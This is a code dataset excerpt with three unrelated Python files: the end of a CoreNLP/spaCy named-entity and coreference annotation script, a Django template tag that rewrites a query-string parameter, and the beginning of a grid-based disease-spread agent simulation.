if may be that the whole sentence is a SBAR clause\r\n if clause_start_index == -1 or clause_start_index == 0 and clause_len == len(tree.leaves()):\r\n find_possessive_pronoun(tree, dparses, rst_dict, ner_ids)\r\n else:\r\n # clause sentence is in the beginning of a sentence\r\n if clause_start_index == 0:\r\n subj_start_idx = clause_len\r\n subj = TreebankWordDetokenizer().detokenize(tree.leaves()[clause_len:])\r\n clause = TreebankWordDetokenizer().detokenize(tree.leaves()[:clause_len])\r\n else:\r\n subj_start_idx = 0\r\n subj = TreebankWordDetokenizer().detokenize(tree.leaves()[:clause_start_index])\r\n clause = TreebankWordDetokenizer().detokenize(tree.leaves()[clause_start_index:])\r\n\r\n subj_tree = nltk.tree.ParentedTree.fromstring(nlp.parse(subj))\r\n clause_tree = nltk.tree.ParentedTree.fromstring(nlp.parse(clause))\r\n\r\n find_possessive_pronoun(subj_tree, nlp.dependency_parse(subj), rst_dict, ner_ids, 0, subj_start_idx)\r\n find_possessive_pronoun(clause_tree, nlp.dependency_parse(clause), rst_dict, ner_ids, clause_start_index, 0)\r\n\r\n return rst_dict\r\n\r\n\r\n# find clause of a sentence\r\ndef find_clause(tree, nlp):\r\n clause = \"***###***\"\r\n clause_idx_str = -1\r\n # list to string\r\n str_leaves = \" \".join(tree.leaves())\r\n for node in tree.subtrees(lambda x: x.label() == \"SBAR\"):\r\n clause = node.leaves()\r\n clause_idx_str = str_leaves.find(\" \".join(clause))\r\n if clause_idx_str != -1:\r\n # string to token list\r\n clause_start_index = nlp.word_tokenize(str_leaves[:clause_idx_str])\r\n # clause start index, eg: if len(sub_sentence)=8, then leaves[8:] is the clause leaves\r\n return len(clause_start_index), len(clause)\r\n else:\r\n return -1, 0\r\n\r\n\r\n# find the head word of a noun phrase\r\ndef find_head_word(ne_tree):\r\n for sub_tree in reversed(ne_tree):\r\n if isinstance(sub_tree, nltk.tree.Tree):\r\n if sub_tree.label() in ['NP', 'NN', 'NNS', 'NNP', 'NNPS', 'FRAG']:\r\n return find_head_word(sub_tree)\r\n else:\r\n return ne_tree.leaves()\r\n\r\n\r\n# find the index of the head word in a noun phrase\r\ndef find_head_word_index(start, length, ne_tree):\r\n head_word = find_head_word(ne_tree)\r\n if head_word is not None:\r\n head_word_index = start + ne_tree.leaves().index(head_word[0])\r\n # if cannot find a head word,use the rightmost word instead.\r\n else:\r\n head_word_index = start + length - 1\r\n return head_word_index\r\n\r\n\r\n# the key function for processing a sentence\r\ndef self_labeling(sentence, sid, dict_n, annotated_ner, np_id, replaced_ner, final_result, ner_ids, dcoref, fp):\r\n replace_flag = False\r\n sta_nlp = MyCoreNLP()\r\n # potential error: \"32 1/5\" will be considered as one token with a space, should be considered as two tokens\r\n tokens = sta_nlp.word_tokenize(sentence)\r\n poss = sta_nlp.pos_tag(sentence)\r\n # assert(len(tokens) == len(poss))\r\n # the nlp parse annotator can only handle a sentence with less than 80 tokens\r\n if len(tokens) >= 75:\r\n return\r\n # solve the problem of sentence starts with \"\r\n cparses = sta_nlp.parse(sentence.replace(\"\\\"\", \"'\"))\r\n dparses = sta_nlp.dependency_parse(sentence)\r\n # ner_ids = ['-']*len(tokens)\r\n # final_result = []\r\n # for i in range(len(tokens)):\r\n # token = tokens[i]\r\n # pos = poss[i][1]\r\n # line_element = [doc_id, part_number, '-', token, pos, '*', '-', '-', '-', '-', '*', '-']\r\n # final_result.append(line_element)\r\n\r\n # get all the ner that appears in this sentence from ner_dict map\r\n ner_in_sentence = get_ner_in_sentence(sid, dict_n)\r\n exist_ner_with_pos = []\r\n for ner, value in ner_in_sentence.items():\r\n ner_tokens = sta_nlp.word_tokenize(ner)\r\n # find all the ner appeared in one sentence\r\n for n in re.finditer(ner.replace(\".\", \"\\.\"), sentence.lower()):\r\n # solve the problem of tokenize difference for concatenate words like Austria-Hungary or GMT/UTC.\r\n if n.start() > 0 and sentence[n.start()-1] not in (' ', '(', '\"', '\\''):\r\n continue\r\n # \" ' \" should also be considered as end of a word, like \"Lucy's\"\r\n if n.end() < len(sentence) and sentence[n.end()] not in (' ', '.', ',', ':', '\"', '?', ')', '\\'', '!'):\r\n continue\r\n\r\n start_index = len(sta_nlp.word_tokenize(sentence[:n.start()]))\r\n ne_len = len(ner_tokens)\r\n # added on 20190408, since all the ne in the record do not contain the, it is necessary to add here.\r\n if start_index > 0 and tokens[start_index-1].lower() == \"the\":\r\n start_index = start_index - 1\r\n ne_len = len(ner_tokens) + 1\r\n ner = \"the \"+ner\r\n ner_tokens_with_the = ['the']\r\n ner_tokens_with_the.extend(ner_tokens)\r\n ner_tokens = ner_tokens_with_the\r\n\r\n # to check whether the found start index and len correspond to the ne\r\n if \" \".join(ner_tokens).lower() == \" \".join(tokens[start_index:start_index+ne_len]).lower():\r\n exist_ner_with_pos.append((start_index, ne_len, ner, value))\r\n\r\n # identify nested ner\r\n exist_ner_with_pos_copy = copy.deepcopy(exist_ner_with_pos)\r\n ner_to_mark = get_ner_to_mark(exist_ner_with_pos_copy)\r\n\r\n # add annotation for exsiting possessive pronouns\r\n tree = nltk.tree.ParentedTree.fromstring(cparses)\r\n possessive_pronoun = mark_possesive_pronoun(tree, dparses, sta_nlp, ner_ids)\r\n # if there is no annotation in this sentence, skip\r\n # if len(ner_to_mark) == 0 and possessive_pronoun == {}:\r\n # return\r\n\r\n for start, value in possessive_pronoun.items():\r\n np_id[\"id\"] = np_id[\"id\"] + 1\r\n tmp_id = np_id[\"id\"]\r\n # check if this noun phrase is also a named entity\r\n np = \" \".join(tokens[start:start+value[\"len\"]]).lower()\r\n # since all the ne in dict do not have \"the \", need to consider that\r\n np_key = np[4:] if np.startswith(\"the \") else np\r\n if np_key in dict_n.keys():\r\n tmp_id = dict_n[np_key][\"nerId\"]\r\n # if this np is a named entity and already appears more than once, it will be annotated later\r\n if len(dict_n[np_key][\"sId\"]) <= 1:\r\n update_ner_id(ner_ids, start, value[\"len\"], tmp_id, np, sid, dcoref)\r\n else:\r\n update_ner_id(ner_ids, start, value[\"len\"], tmp_id, np, sid, dcoref)\r\n\r\n for prp_index in value[\"prp_indices\"]:\r\n update_ner_id(ner_ids, prp_index, 1, tmp_id, np, sid, dcoref)\r\n\r\n ner_to_replace_with_pos = []\r\n # sort the ner based in descending order of ner length\r\n ner_to_mark = sorted(ner_to_mark, key=lambda x: x[1], reverse=True)\r\n for start, length, ner, value in ner_to_mark:\r\n super_ner = identify_nested_relation(ner, start, length, exist_ner_with_pos_copy)\r\n # need to check if this ne is a sub entity in the dcoref\r\n super_ner_in_docref = identity_nested_relation_dcoref(ner, start, length, sid, dcoref)\r\n # if this ner appears more than once, this is the first time\r\n if ner not in annotated_ner:\r\n update_ner_id(ner_ids, start, length, value['nerId'], ner, sid, dcoref)\r\n annotated_ner.append(ner)\r\n else:\r\n # need to check if this ne is a sub entity in the dcoref\r\n if super_ner is None and super_ner_in_docref is None:\r\n # find all the ner need to be replaced in one sentence\r\n ner_to_replace_with_pos.append((start, length, ner, value))\r\n\r\n # if there are ners to be replaced\r\n if len(ner_to_replace_with_pos) == 0:\r\n pass\r\n else:\r\n start, length, ner, value = ner_to_replace_with_pos[0]\r\n ne_tree = nltk.tree.ParentedTree.fromstring(sta_nlp.parse(ner))\r\n deparse_index = find_head_word_index(start, length, ne_tree)\r\n deparse = find_deparse_with_index(deparse_index, dparses)\r\n pronoun = replace_ner(ner, value['label'], poss[deparse_index], deparse, start)\r\n\r\n # check if the ne be replaced has already been marked\r\n #if any(ner_ids[j] != '-' for j in range(start, start+length)):\r\n # check if the ne be replaced has already been marked and replace only the nearest ner with pronoun\r\n if any(ner_ids[j] != '-' for j in range(start, start+length)) or ner in replaced_ner:\r\n update_ner_id(ner_ids, start, length, value['nerId'], ner, sid, dcoref)\r\n else:\r\n update_ner_id(ner_ids, start, length, value['nerId'], ner, sid, dcoref, True)\r\n update_pronoun(final_result, start, length, pronoun, ner_ids)\r\n replaced_ner.append(ner)\r\n replace_flag = True\r\n\r\n # the second ne need to be replaced will only be annotated, not replaced\r\n if len(ner_to_replace_with_pos) > 1:\r\n for j in range(1, len(ner_to_replace_with_pos)):\r\n start, length, ner, value = ner_to_replace_with_pos[j]\r\n if not any(final_result[k][3] == REMOVE_TAG for k in range(start, start+length)):\r\n update_ner_id(ner_ids, start, length, value['nerId'], ner, sid, dcoref)\r\n\r\n write_final_result(final_result, ner_ids, dict_n, sid, replace_flag, fp)\r\n\r\n\r\ndef write_final_result(final_result, ids, dict_n, sid, flag, fp):\r\n fp.write(\"\\n\")\r\n\r\n for k in range(len(final_result)):\r\n final_result[k][-1] = ids[k]\r\n\r\n # this step is very necessary\r\n final_result = [line for line in final_result if line[3] != REMOVE_TAG]\r\n update_possesive(final_result, dict_n, sid, flag)\r\n final_result = [line for line in final_result if line[3] != REMOVE_TAG]\r\n merge_dt_and_ne(final_result)\r\n\r\n for n in range(len(final_result)):\r\n final_result[n][2] = n\r\n for line_elem in final_result:\r\n line_str = [\"{}\".format(element) for element in line_elem]\r\n line_width = [20, 5, 5, 30, 5, 5, 5, 5, 5, 5, 5, 5, 10]\r\n line = \" \".join(line_str[i].rjust(line_width[i]) for i in range(0, len(line_str)))\r\n fp.write(line)\r\n fp.write(\"\\n\")\r\n\r\n\r\ndef merge_dt_and_ne(results):\r\n for i in range(len(results)):\r\n if i == len(results) - 1:\r\n continue\r\n if results[i][3].lower() == 'the' and results[i][-1] != '-':\r\n latter_index = i + 1\r\n if results[latter_index][-1] != '-':\r\n for id in re.findall(\"\\d+\", results[i][-1]):\r\n if \"(\"+id in results[i][-1] and \"(\"+id in results[latter_index][-1]:\r\n end_index = find_the_end_of_ne(results, i, id)\r\n if id+\")|\"+id+\")\" not in results[end_index][-1]:\r\n continue\r\n if latter_index == end_index:\r\n results[latter_index][-1] = results[latter_index][-1].replace(\"(\"+id+\")\", \"\")\r\n else:\r\n # fix bug caused by strip(\"(\"+id)\r\n results[latter_index][-1] = results[latter_index][-1].replace(\"(\"+id, \"\")\r\n results[end_index][-1] = results[end_index][-1].replace(id+\")|\"+id+\")\", id+\")\", 1)\r\n results[latter_index][-1] = check_split_line_in_nerid(results[latter_index][-1])\r\n results[end_index][-1] = check_split_line_in_nerid(results[end_index][-1])\r\n\r\n\r\ndef find_the_end_of_ne(results, index, id):\r\n for i in range(index, len(results)):\r\n if id+\")\" in results[i][-1]:\r\n return i\r\n\r\n\r\ndef check_split_line_in_nerid(id):\r\n new_id = id.replace(\"||\", \"|\")\r\n if id.startswith(\"|\"):\r\n new_id = new_id[1:]\r\n if id == '':\r\n new_id = '-'\r\n elif id[-1] == \"|\":\r\n new_id = new_id[:-1]\r\n else:\r\n pass\r\n\r\n return new_id\r\n\r\n\r\n# merge the tokens in standford corenlp ner result to named entities.\r\ndef get_merged_ner(orig_list):\r\n merged_ner_list = []\r\n for i in range(len(orig_list)):\r\n en = orig_list[i]\r\n current_index = i\r\n # merge entity_list next to each other with the same NER\r\n if en[1] != 'O':\r\n merged_ner_list.append(en)\r\n if current_index > 0:\r\n former_ne = orig_list[current_index - 1]\r\n if en[1] == former_ne[1]:\r\n orig_list[current_index] = (former_ne[0] + ' ' + en[0], en[1])\r\n merged_ner_list.append(orig_list[current_index])\r\n merged_ner_list.remove(en)\r\n merged_ner_list.remove(former_ne)\r\n # added on 20190114, solve problem caused by \"the it\" begin\r\n elif former_ne[0].lower() == \"the\":\r\n orig_list[current_index] = (\"the\" + ' ' + en[0], en[1])\r\n merged_ner_list.append(orig_list[current_index])\r\n merged_ner_list.remove(en)\r\n else:\r\n continue\r\n # end\r\n # print(\"stanford:\", merged_ner_list)\r\n return merged_ner_list\r\n\r\n\r\n# get all the sentences in a paragraph\r\ndef get_sentences(paragraph):\r\n all_context = []\r\n # parse json style data, get the context field, split each context into sentences, and process each sentences\r\n for paraph in paragraph:\r\n context = paraph['context']\r\n all_context.append(context)\r\n\r\n ss_in_context = \" \".join(all_context).replace('\\n', ' ').replace('\\xa0', ' ')\r\n #ss.extend(nltk.tokenize.sent_tokenize(ss_in_context))\r\n #return nlp.ssplit(ss_in_context)\r\n return ss_in_context\r\n #ss.extend(nlp.ssplit(ss_in_context))\r\n #return ss\r\n\r\n\r\n# extract all named entities in a document with given sentences.\r\ndef extract_ner(sentences, ner_dict, title, path):\r\n sta_nlp = MyCoreNLP()\r\n spa_nlp = SpacyNLP()\r\n\r\n for j in range(len(sentences)):\r\n sentence_id = j\r\n sentence = sentences[j]\r\n # print(sentence_id, sentence)\r\n # get ner identified by stanford corenlp\r\n sta_ner_list = sta_nlp.ner(sentence)\r\n # get ner identified by spacy\r\n spa_ner_list = spa_nlp.ents(sentence)\r\n merged_ner_coren = get_merged_ner(sta_ner_list)\r\n write_ner_coren(merged_ner_coren, sentence_id, ner_dict)\r\n integrate_ner(spa_ner_list, merged_ner_coren, sentence_id, ner_dict)\r\n\r\n fn = open(path + '/' + title + '.txt', 'a+')\r\n json.dump(ner_dict, fn, indent=4, ensure_ascii=False)\r\n fn.close()\r\n return ner_dict\r\n\r\n\r\n# ner: identified by spacy, name: ner name already identified by CoreNLP\r\ndef check_two_ner(ner, name):\r\n # added on 20190114 \"the Navy\" and \"Navy\" should be identified as one ne begin\r\n if ner[0].lower() in name:\r\n return True\r\n # end\r\n\r\n i = 0\r\n for word in ner[0].lower().split(' '):\r\n if word in name:\r\n i += 1\r\n return True if i > 3 else False\r\n\r\n\r\n# check if the ner identified by spacy already exists in the record which stores all the ner identified by standford.\r\ndef check_ner_in_result(ner, tlist):\r\n ner_names = [ner[0].lower() for ner in tlist]\r\n # ignore the possessive entity detected by Spacy\r\n if ner[0][-2:] == \"'s\":\r\n return True\r\n\r\n for name in ner_names:\r\n if check_two_ner(ner, name):\r\n return True\r\n\r\n if ner[0].lower() in ner_names or ner[0].strip(\"the \") in ner_names:\r\n return True\r\n\r\n elif ner[0].lower().startswith('the '):\r\n if ner[0][4:].lower() in ner_names or ner[0][4:][:-1].lower() in ner_names:\r\n return True\r\n elif ner[0].strip('-').lower() in ner_names:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\n# merge the Spacy result to the record\r\ndef integrate_ner(plist, tlist, sid, ner_dict):\r\n for ner in plist:\r\n if is_valid_ne(ner):\r\n if not check_ner_in_result(ner, tlist):\r\n update_ner_dict(ner, sid, ner_dict)\r\n else:\r\n continue\r\n\r\n\r\n# update named entity record, strip \"the \" in the entity name.\r\ndef update_ner_dict(ner, sid, ner_dict):\r\n ner_id = len(ner_dict)\r\n # there may be two \"the\" in one NE, so simply strip(\"the \") is not enough.\r\n ne_key = ner[0].lower()[4:] if ner[0].lower().startswith(\"the \") else ner[0].lower()\r\n #if ner[0].lower() in ner_dict:\r\n if ne_key in ner_dict:\r\n ner_dict[ne_key]['sId'].append(sid)\r\n #ner_dict[ner[0].lower()]['sId'].append(sid)\r\n else:\r\n ner_dict[ne_key] = {'label': ner[1], 'sId': [sid], 'nerId': ner_id}\r\n #ner_dict[ner[0].lower()] = {'label': ner[1], 'sId': [sid], 'nerId': ner_id}\r\n\r\n\r\n# check if a given named entity will be considered or not.\r\ndef is_valid_ne(ner):\r\n special_symbol = ['(', ')', '[', '±', ']', '+', '\\xa0', '&']\r\n if ner[0].startswith('A '):\r\n return False\r\n if any(sb in ner[0] for sb in special_symbol):\r\n return False\r\n if ner[0] == '\\n' or ner[0] == ' ':\r\n return False\r\n if ner[1] in ('NUMBER', 'CARDINAL', 'NATIONALITY', 'PERCENT', 'ORDINAL', 'DATE', 'DURATION', 'SET'):\r\n return False\r\n else:\r\n return True\r\n\r\n\r\n# write the named entities recognized by stanford corenlp to the record.\r\ndef write_ner_coren(nerlist, sid, ner_dict):\r\n for ner in nerlist:\r\n if is_valid_ne(ner):\r\n update_ner_dict(ner, sid, ner_dict)\r\n\r\n\r\ndef paragraph_process(sentences, paraph_name, path):\r\n # split one paragraph into several parts\r\n if len(sentences) > MAX_SENTENCES_IN_ONE_DOCUMENT:\r\n parts_number = math.ceil(len(sentences) / MAX_SENTENCES_IN_ONE_DOCUMENT)\r\n for k in range(int(parts_number)):\r\n if k < 10:\r\n part = \"_part 00\" + str(k)\r\n else:\r\n part = \"_part 0\" + str(k)\r\n part_sentences = sentences[(MAX_SENTENCES_IN_ONE_DOCUMENT*k):(MAX_SENTENCES_IN_ONE_DOCUMENT*(k+1))]\r\n document_process(part_sentences, paraph_name, part, path, \" \".join(part_sentences))\r\n else:\r\n document_process(sentences, paraph_name, \"_part 000\", path, \" \".join(sentences))\r\n\r\n\r\ndef document_process(sentences, paraph_name, part, path, doc):\r\n ner_dict = {}\r\n ner_dict = extract_ner(sentences, ner_dict, paraph_name + part, path)\r\n doc_id = path + '/' + paraph_name.replace(\" \", \"/00/\")\r\n file_path = path + '/' + paraph_name + part + \"_annotate.txt\"\r\n output(sentences, ner_dict, doc_id, part, file_path, doc)\r\n\r\n\r\ndef annotate_document(file_name, doc, output_path, doc_index):\r\n print(colored((\"paragraph \" + str(doc_index) + \" \" + file_name), 'yellow'))\r\n nlp = MyCoreNLP()\r\n ss = []\r\n try:\r\n sentences = nlp.ssplit(doc)\r\n except BaseException as e:\r\n ss.extend(nltk.tokenize.sent_tokenize(doc.replace(\"\\n\", ' ').replace('\\xa0', ' ')))\r\n print(\"The document \"+file_name+\" is too long, will be split automatically.\")\r\n #raise e\r\n\r\n if not ss:\r\n paragraph_process(sentences, file_name, output_path)\r\n # if the document has too many sentences, then split into two documents\r\n else:\r\n part_doc1 = \" \".join(ss[:int(len(ss)/2)])\r\n part_doc2 = \" \".join(ss[int(len(ss)/2):])\r\n annotate_document(file_name, part_doc1, output_path, doc_index)\r\n annotate_document(file_name+\"1\", part_doc2, output_path, doc_index)\r\n\r\n\r\nif __name__ == '__main__':\r\n doc_path = sys.argv[1]\r\n output_path = sys.argv[2]\r\n if os.path.exists(output_path):\r\n shutil.rmtree(output_path)\r\n os.makedirs(output_path)\r\n\r\n pool = multiprocessing.Pool(processes=ALLOWED_PARALLEL_PROCESS)\r\n i = 0\r\n for file in os.listdir(doc_path):\r\n i += 1\r\n with open(doc_path+'/'+file) as f:\r\n doc = f.read()\r\n filename = file[:-4] if file.endswith(\".txt\") else file\r\n #annotate_document(filename, doc, output_path, i)\r\n pool.apply_async(annotate_document, (filename, doc, output_path, i, ))\r\n pool.close()\r\n pool.join()\r\n print(\"the end!\")\r\n\r\n # sentences = []\r\n # ner_dict = {}\r\n # nlp = StanfordNLP()\r\n # context=\"Most locations used a 32 1/5 ft ( 9.8 meters ) - diameter version that straddles the building and is aimed at the intersection .\"\r\n # sentences = nlp.ssplit(context)\r\n #sentences.extend(nltk.tokenize.sent_tokenize(context.replace(\"\\n\", ' ').replace('\\xa0', ' ')))\r\n # print(nlp.dcoref(context))\r\n # for s in sentences:\r\n # print(nlp.pos(s))\r\n # print(nlp.parse(s))\r\n # tree = nltk.tree.ParentedTree.fromstring(nlp.parse(s))\r\n # tree.pretty_print()\r\n # print(find_head_word(tree))\r\n # print(nlp.dependency_parse(s))\r\n # #ner_dict = extract_ner(sentences, ner_dict, 'input_part 000', path)\r\n # file_path = path + '/' + \"input_part 000_annotate.txt\"\r\n # output(sentences, ner_dict, 'input', '_part 000', file_path)\r\n\r\n","sub_path":"self-labeling/annotate.py","file_name":"annotate.py","file_ext":"py","file_size_in_byte":40398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"12099746","text":"from django import template\n\nregister = template.Library()\n\n\n@register.simple_tag\ndef replace_GET_param(request, param, value):\n get_params = request.GET.copy()\n get_params[param] = value\n return f\"{request.path}?{get_params.urlencode()}\"","sub_path":"core/templatetags/querystring.py","file_name":"querystring.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"67596197","text":"\n\n\nimport random\nimport time\nfrom matplotlib import pyplot as plt\nfrom termcolor import colored\n\n\n\"\"\"\nFunction: createMatrix\nParameters: # rows, # columns\nPurpose: create a 2d matrix\nMethod: Creates a 2d list and fills the list with numbers from 0 to N^2\nResult: returns NxN matrix as a 2D list\n\"\"\"\ndef createMatrix(row, col):\n number = 0\n matrix = [[0 for x in range(row)] for y in range(col)]\n for x in range(row):\n for y in range(col):\n matrix[x][y] = number\n number+=1\n return matrix\n\n\"\"\"\nFunction: isSick\nParameters: agent object\nPurpose: determine if agent is sick\nMethod: Checks if agent's health is infected\nResult: Boolean determining if agent is sick or not\n\"\"\"\ndef isSick(agent):\n if (agent.getHealth() == \"infected\"):\n return True\n return False\n\n\"\"\"\nFunction: whichAgentisInfected\nParameters: agent1 object, agent2 object\nPurpose: determine which agent is sick\nMethod: checks if either agent is sick\nResult: A string for agent1, agent2, or neither\n\"\"\"\ndef whichAgentisInfected(agent1, agent2):\n if (isSick(agent1)):\n return \"agent1\"\n elif (isSick(agent2)):\n return \"agent2\"\n else: return \"none\"\n\n\"\"\"\nFunction: createAgentID\nParameters: number of agents in simulation\nPurpose: create a list of agent ids\nMethod: creates a list of agent ids where each id begins with the letter\nA and is a number\nResult: A list of containing agent id strings\n\"\"\"\ndef createAgentID(size):\n agentList = []\n for x in range(size):\n agentList.append(\"A\" + str(x))\n return agentList\n\n\"\"\"\nFunction: generateRandomX\nParameters: number of rows in grid\nPurpose: generate random value\nMethod: calls randint function in random library to generate random value\nResult: random value between 0 and rows-1.\n\"\"\"\ndef generateRandomX(row):\n return random.randint(0,row-1)\n\n\"\"\"\nFunction: generateRandomY\nParameters: number of columns in grid\nPurpose: generate random value\nMethod: calls randint function in random library to generate a random value\nResult: random value between 0 and columns-1\n\"\"\"\ndef generateRandomY(col):\n return random.randint(0,col-1)\n\n\"\"\"\nFunction: getX\nParameters: a tuple corresponding to an (X,Y) coordinate\nPurpose: get x value\nMethod: indexes the first value in the tuple\nResult: integer corresponding to x value\n\"\"\"\ndef getX(location):\n return location[0]\n\n\"\"\"\nFunction: getY\nParameters: a tuple corresponding to an (X,Y) coordinate\nPurpose: get y value\nMethod: indexes the second value in the tuple\nResult: integer corresponding to y value\n\"\"\"\ndef getY(location):\n return location[1]\n\n\"\"\"\nFunction: whichWayToMove\nParameters: None\nPurpose: get a random direction to move\nMethod: gets a random value between 1 and 5 to determine the direction to move\nResult: A string representing the direction the agent will move\n\"\"\"\ndef whichWayToMove():\n direction = random.randint(1,5)\n if (direction == 1): return \"north\"\n if (direction == 2): return \"east\"\n if (direction == 3): return \"south\"\n if (direction == 4): return \"west\"\n if (direction == 5): return \"stays\"\n\n\n\"\"\"\nFunction: movesLeftRight\nParameters: y coordinate, the direction to move, and number of columns in the grid\nPurpose: move the agent in a specific direction left or right\nMethod: first checks boundary cases (if at edges) and if direction moves agent\noutside grid. If agent moves off grid, do not move agent. If boundary case not an\nissue, then move agent left or right depending on direction\nResult: y value with new location\n\"\"\"\ndef movesLeftRight(y, direction, cols):\n if (y == 0 and direction == \"east\"):\n newYLocation = y+1\n elif (y == 0 and direction == \"west\"):\n newYLocation = y\n elif (y == cols-1 and direction == \"west\"):\n newYLocation = y-1\n elif (y == cols-1 and direction == \"east\"):\n newYLocation = y\n elif (direction == \"stays\"): newYLocation = y\n else:\n if (direction == \"east\"):\n newYLocation = y+1\n else:\n newYLocation = y-1\n return newYLocation\n\n\"\"\"\nFunction: movesUpDown\nParameters: x coordinate, the direction to move, and number of rows in the grid\nPurpose: move the agent in a specific direction up or down\nMethod: first checks boundary cases (if at edges) and if direction moves agent\noutside the grid. If agent moves off grid, do not move agent. If boundary case is\nnot an issue, then move agent up or down depending on direction.\nResult: x value with new location.\n\"\"\"\ndef movesUpDown(x, direction, rows):\n if (x == 0 and direction == \"south\"):\n newXLocation = x+1\n elif (x == 0 and direction == \"north\"):\n newXLocation = x\n elif (x == rows-1 and direction == \"north\"):\n newXLocation = x-1\n elif (x == rows-1 and direction == \"south\"):\n newXLocation = x\n elif (direction == \"stays\"): newYLocation = x\n else:\n if (direction == \"south\"):\n newXLocation = x+1\n else:\n newXLocation = x-1\n return newXLocation\n\n\"\"\"\nFunction: addAgentsToMatrix\nParameters: matrix and the agent object\nPurpose: add an agent object to the matrix\nMethod: goes through each location in the matrix and compares is to where the agent is\nsupposed to be located. When it matches it adds the agent to that location in the matrix\nResult: A new matrix with an agent object added\n\"\"\"\ndef addAgentsToMatrix(matrix, agent):\n for x in range(len(matrix)):\n for y in range(len(matrix[x])):\n if (x == getX(agent.getLocation()) and y == getY(agent.getLocation())):\n matrix[x][y] = agent.getAgentId()\n return matrix\n\n\"\"\"\nFunction: locationSame\nParameters: list of agent objects\nMethod: Goes through the list of agent objects (assuming there are at least 2) and compares\nPurpose: get a list of collisions that occur in the matrix\neach agent object's location to all other agent objects following it. If the locations are same,\nthen a tuple of both agents are added to a new list.\nFor example: if we have a list of agent objects [a1, a2, a3, a4], then we start with a1 and compare it's\nlocation to a2, a3, and a4. Then we go to a2 and compare it to a3 and a4. Then we go to a3 and compare it to\na4. Any collisions are added to the collision list.\nResult: list containing tuples of agents that collided are returned.\n\"\"\"\ndef locationSame(agents):\n sameLocation = None\n collisions = []\n if (len(agents) > 1):\n for x in range(0, len(agents)):\n compLocation = agents[x]\n for y in range (x+1, len(agents)):\n if(compLocation.getLocation() == agents[y].getLocation()):\n sameLocation = agents[y]\n collisions.append((compLocation, sameLocation))\n else:\n continue;\n return collisions\n\n\"\"\"\nFunction: displayGrid\nParameters: matrix and list of agents\nPurpose: display the matrix to the user with the agents\nMethod: First we get a list of agents that collided. We then go through the list and print a \"!\"\nat any location a collision occured. Then we go through the matrix and at each location, check if\nan agent object resides there. If not, print a white \"-\". If an agent object does live there, and there\nwas no collision, then we get the health of the agent. If the agent is healthy, then we print a the agent\nid as white. If the agent is infected, we print the agent id as blue and add an \"*\" next to the id.\nWe modify the print methods so they print the results evenly and ensure the spacing is satisfied.\nResult: None\n\"\"\"\ndef displayGrid(matrix, agentList):\n listOfSameLocations = locationSame(agentList)\n for x in range(len(listOfSameLocations)):\n locationX = getX(listOfSameLocations[x][0].getLocation())\n locationY = getY(listOfSameLocations[x][0].getLocation())\n matrix[locationX][locationY] = \"! \"\n for x in range(len(matrix)):\n for y in range(len(matrix[x])):\n if (isinstance(matrix[x][y], int)): print(colored(\"- \", 'white'), end=\" \")\n if (isinstance(matrix[x][y], str)):\n if (matrix[x][y] != \"! \"):\n health = getHealth(matrix[x][y], agentList)\n counter = locationInList(matrix[x][y], agentList)\n if(health == \"susceptible\"):\n if (counter < 10): print(matrix[x][y], end=\" \")\n else: print(matrix[x][y], end=\" \")\n if(health == \"infected\"):\n if (counter < 10): print(colored(matrix[x][y] + \"*\", 'blue'), end=\" \")\n else: print(colored(matrix[x][y] + \"*\", 'blue'), end=\"\")\n else: print(colored(matrix[x][y], 'yellow'), end=\" \")\n print()\n\n\"\"\"\nFunction: getHealth\nParameters: agent id and list of agents\nPurpose: get the health of the agent given their id\nMethod: go through list of agent ids and if the id provided matches the id in the list,\nget the health of the agent object\nResult: string giving health of the agent object\n\"\"\"\ndef getHealth(id, list):\n for x in range(len(list)):\n if (id == list[x].getAgentId()): return list[x].getHealth()\n\n\"\"\"\nFunction: locationInList\nParameters: agent id and list of agents\nPurpose: get the index of the id in the agent list\nMethod: go through list of agent ids and if the id provided matches the id in the list,\nreturn the index position\nResult: index position in list of agent provided\n\"\"\"\ndef locationInList(id, list):\n for x in range(len(list)):\n if (id == list[x].getAgentId()): return x\n\n\n\"\"\"\nFunction: setNewLocations\nParameters: direction to move, agent object, the number of rows, and number of columns\nPurpose: Set the location of the agent object with a new location\nMethod: Get the old x and y value location of the agent object. Then using the direction,\ndetermine if the agent should move left right, up down, or stay in place. Then set the new x\nor new y value depending on which way the agetn moves.\nResult: return the agent object with the new location.\n\"\"\"\ndef setNewLocations(direction, agent, rows, cols):\n agentLocation = agent.getLocation()\n oldX = agentLocation[0]\n oldY = agentLocation[1]\n #once x and y values obtained, set the new agent location\n #if direction is stays don't move agent\n if (direction == \"stays\"):\n return agent\n #if direction is east or west, move left/right if possible\n elif (direction == \"east\" or direction == \"west\"):\n newY = movesLeftRight(oldY, direction, cols)\n agent.setAgentLocation(oldX, newY)\n #otherwise move the agent north south\n else:\n newX = movesUpDown(oldX, direction, rows)\n agent.setAgentLocation(newX, oldY)\n return agent\n\n\n\"\"\"\nFunction: createAgent\nParameters: current agent object, type of agent to create\nPurpose: convert an agent object to one of the given type\nMethod:\nReturn:\n\"\"\"\ndef createAgent(agent, type):\n originalLocation = agent.getLocation()\n originalId = agent.getAgentId()\n if (type == \"infected\"): agent = InfectedAgent()\n if (type == \"removed\"): agent = RemovedAgent()\n # agent = InfectedAgent()\n agent.setAgentId(originalId)\n agent.setAgentLocation(getX(originalLocation), getY(originalLocation))\n return agent\n\n\n#main function that runs the simulation\ndef runSimulation():\n print(\"Press q at any time to go back to the main menu\")\n rows = input(\"Enter the size of your matrix (please enter # rows you want): \")\n if (rows == \"q\"): return\n rows = int(rows)\n columns = rows\n #These three lists are for the purpose of statistical gathering, nothing more\n sickAgents = []\n susceptibleAgents = []\n removedAgents = []\n counter = 0\n\n #sets the rows and columns\n numberOfAgents = input(\"Enter the number of agents on the board: \")\n if (numberOfAgents == \"q\"): return\n numberOfAgents = int(numberOfAgents)\n while(numberOfAgents >= columns*rows):\n numberOfAgents = input(\"You are putting too many agents on the board. Try Again: \")\n numberOfAgents = int(numberOfAgents)\n #sets number of agents in the grid\n iterations = input(\"How many iterations should this simulation run: \")\n if (iterations == \"q\"): return\n iterations = int(iterations)\n\n timeBeforeDeath = input(\"How many iterations should a sick agent last for before dying: \")\n if (timeBeforeDeath == \"q\"): return\n timeBeforeDeath = int(timeBeforeDeath)\n nameOfDisease = input(\"What is the name of the disease: \")\n 